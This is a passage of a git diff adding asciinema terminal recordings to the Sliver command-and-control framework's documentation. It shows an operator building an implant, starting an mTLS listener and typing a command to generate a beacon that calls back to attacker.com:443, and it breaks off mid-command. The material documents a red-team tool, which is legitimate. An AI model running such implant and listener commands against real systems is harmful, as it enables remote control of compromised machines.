"\r\u001b[2K ⠏ Compiling, please wait ..."] +[75.348851, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[75.44925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[75.549652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[75.650025, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[75.750385, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[75.850777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[75.951215, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[76.051576, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[76.151976, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[76.252363, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[76.352775, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[76.453189, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[76.553558, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[76.653938, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[76.754343, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[76.854749, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[76.95517, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[77.055531, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[77.155937, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[77.256294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[77.35668, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[77.45706, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[77.557462, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[77.65787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[77.75826, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[77.858666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[77.959055, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[78.059452, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[78.159833, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[78.260263, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[78.360644, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[78.461032, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[78.561441, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[78.661823, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[78.762231, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[78.862655, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[78.963027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[79.063401, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[79.163835, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[79.265475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[79.365878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[79.466288, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[79.566721, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[79.66709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[79.767478, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[79.867894, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[79.968304, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[80.068694, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[80.169087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[80.269465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[80.369838, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[80.470219, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[80.570601, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[80.671007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[80.771398, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[80.8718, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[80.972194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[81.072498, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[81.172906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[81.273319, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[81.373766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[81.47417, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[81.574592, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[81.674979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[81.775365, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[81.875663, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[81.976053, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[82.076504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[82.176927, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[82.277336, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[82.377703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[82.478128, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[82.578609, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[82.678987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[82.779415, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[82.879714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[82.980011, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[83.080411, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[83.180785, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[83.281174, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[83.381599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[83.482005, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[83.582444, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[83.682822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[83.783246, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[83.883634, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[83.984015, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[84.084418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[84.184812, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[84.285233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[84.386403, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[84.486736, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[84.587242, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[84.687536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[84.787924, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[84.88833, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[84.988737, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[85.089133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[85.189522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[85.289919, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[85.390347, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[85.490743, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[85.591169, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[85.691549, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[85.791991, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[85.892392, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[85.992783, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[86.093186, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[86.193587, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[86.294408, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[86.394599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[86.495166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[86.595536, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[86.695959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[86.796374, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[86.896772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[86.997172, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[87.097591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[87.197964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[87.298394, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[87.398806, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[87.499234, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[87.599648, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[87.70005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[87.800474, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[87.900877, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[88.001287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[88.101698, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[88.202101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[88.302622, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[88.403036, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[88.503374, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[88.603703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[88.704091, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[88.804494, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[88.904893, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[89.005224, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[89.105629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[89.206034, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[89.306448, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[89.40675, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[89.507197, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[89.607577, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[89.707992, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[89.808388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[89.908795, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[90.009226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[90.109642, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[90.210036, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[90.310443, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[90.410846, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[90.51127, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[90.611653, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[90.712036, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[90.812422, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[90.912748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[91.013185, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[91.113567, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[91.213948, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[91.314376, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[91.414783, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[91.515188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[91.615594, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[91.716005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[91.816438, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[91.916837, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[92.017253, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[92.117667, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[92.218056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[92.318456, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[92.418883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[92.5193, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[92.619736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[92.720141, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[92.82049, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[92.920861, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[93.021335, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[93.121763, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[93.222188, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[93.322569, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[93.423057, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[93.523486, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[93.623822, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[93.724235, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[93.824613, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[93.925022, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[94.025447, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[94.125856, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[94.22635, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[94.326765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[94.427244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[94.527703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[94.628145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[94.728567, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[94.829008, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[94.929438, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[95.029854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[95.130289, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[95.230681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[95.331145, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[95.431481, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[95.531904, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[95.628091, "o", "\r\u001b[2K\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"] +[95.659372, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/payload.exe\r\n\r\n"] +[95.659476, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[97.061722, "o", "\u001b[J\u001b[2K\r"] +[97.062103, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mm"] +[97.358454, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmt"] +[97.762293, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtl"] +[97.885796, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls"] +[98.107419, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls "] +[98.25878, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls -"] +[98.4377, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --"] +[98.890433, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --l"] +[99.288224, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lp"] +[99.486671, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport "] +[100.534346, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 4"] +[100.730113, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 44"] +[100.847884, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443"] +[101.467008, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\r\n"] +[101.467225, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting mTLS listener ...\r\n"] +[101.470339, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #3\r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[102.899959, "o", "\u001b[J\u001b[2K\r"] +[102.900598, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mj"] +[103.039168, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjo"] +[103.351582, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjob\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs"] +[103.877364, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\r\n"] +[103.877495, "o", "\r\n"] +[103.878596, "o", " ID Name Protocol Port Stage Profile \r\n==== ====== ========== ====== ===============\r\n 3 mtls tcp 443 \r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[107.021089, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"] +[107.202237, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"] +[107.294327, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"] +[107.445352, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"] +[107.59321, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\r\n"] +[107.593405, "o", "\u001b[J\u001b[2K\r"] +[107.599102, "o", " \r\r"] +[110.767341, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-2.cast b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast new file mode 100644 index 0000000000..fcb16ef1ea --- /dev/null +++ b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast @@ -0,0 +1,890 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702835089, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.097852, "o", " \r\r"] +[0.155329, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.156106, "o", "\u001b[?1h\u001b="] +[0.157882, "o", "\u001b[?2004h"] +[1.125575, "o", "\u001b[1ms\u001b[0m"] +[1.126513, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.421601, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"] +[1.615189, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m\u001b[38;2;153;153;153mi\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b\b"] +[1.629916, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[39m \u001b[39m \u001b[39m \b\b\b"] +[1.630831, "o", "\u001b[38;2;153;153;153mer\u001b[39m\b\b"] +[1.759956, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m"] +[1.853356, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"] +[2.236531, "o", "\u001b[?1l\u001b>"] +[2.23892, "o", "\u001b[?2004l\r\r\n"] +[2.296279, "o", "Connecting to localhost:31337 ...\r\n"] +[2.344065, "o", "\u001b[m"] +[2.346097, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain indestructible\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[2.346478, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[3.00925, "o", "\u001b[J\u001b[2K\r"] +[3.010337, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"] +[3.208022, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"] +[3.302823, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"] +[3.372922, "o", "\u001b[J\u001b[2K\r"] +[3.373021, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"] +[3.70229, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"] +[4.052038, "o", "\u001b[J\u001b[2K\r"] +[4.052339, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenera"] +[4.510978, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "] +[5.054448, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate b"] +[5.280013, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate be"] +[5.46739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon "] +[6.419442, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon -"] +[6.614411, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --"] +[6.856392, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --m"] +[7.095018, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mt"] +[7.266718, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtl"] +[7.505325, "o", "\u001b[J\u001b[2K\r"] +[7.505432, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls"] +[7.700302, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls "] +[7.899072, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls a"] +[8.035391, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls at"] +[8.199555, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls att"] +[8.419739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls atta"] +[8.527686, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attac"] +[8.947179, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attack\u001b[J\u001b[2K\r"] +[8.947632, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker"] +[9.102625, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker."] +[9.250979, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.c"] +[9.470126, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.co"] +[9.473668, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com"] +[10.219427, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:"] +[10.62294, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:4"] +[11.043501, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:44"] +[11.059748, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443"] +[11.404661, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 "] +[11.739648, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 -"] +[12.091586, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --"] +[12.615716, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --s"] +[12.712567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sa"] +[12.797343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sav"] +[13.139634, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save "] +[13.663953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save b"] +[13.759355, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save be"] +[13.856114, "o", 